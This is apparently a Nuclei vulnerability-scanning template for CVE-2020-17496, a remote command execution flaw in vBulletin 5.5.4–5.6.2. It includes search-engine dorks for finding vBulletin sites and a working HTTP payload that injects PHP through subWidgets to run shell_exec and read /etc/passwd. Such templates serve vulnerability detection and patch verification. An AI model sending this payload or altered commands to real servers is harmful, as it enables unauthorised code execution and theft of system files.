id: CVE-2020-17496 info: name: vBulletin 5.5.4 - 5.6.2- Remote Command Execution author: pussycat0x severity: critical description: 'vBulletin versions 5.5.4 through 5.6.2 allow remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.' impact: | Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system. remediation: | Upgrade vBulletin to a version that is not affected by CVE-2020-17496. reference: - https://www.tenable.com/blog/zero-day-remote-code-execution-vulnerability-in-vbulletin-disclosed - https://nvd.nist.gov/vuln/detail/CVE-2020-17496 - https://seclists.org/fulldisclosure/2020/Aug/5 - https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4445227-vbulletin-5-6-0-5-6-1-5-6-2-security-patch - https://cwe.mitre.org/data/definitions/78.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-17496 cwe-id: CWE-74 epss-score: 0.97461 epss-percentile: 0.99957 cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: vbulletin product: vbulletin shodan-query: - http.title:"powered by vbulletin" - http.html:"powered by vbulletin" - http.component:"vbulletin" - cpe:"cpe:2.3:a:vbulletin:vbulletin" fofa-query: - body="powered by vbulletin" - title="powered by vbulletin" google-query: - intext:"powered by vbulletin" - intitle:"powered by vbulletin" tags: cve2020,cve,vbulletin,rce,kev,tenable,seclists http: - raw: - | POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 490a0046304402207f064308c71bbaf7bc3c99dea36759e0c0eed036791d04b10dc914b420510d6d02201b24a3ce44931cc68f49d0a5505134c832b6ad528bc868aab187187ac42bf185:922c64590222798bb761d5b6d8e72950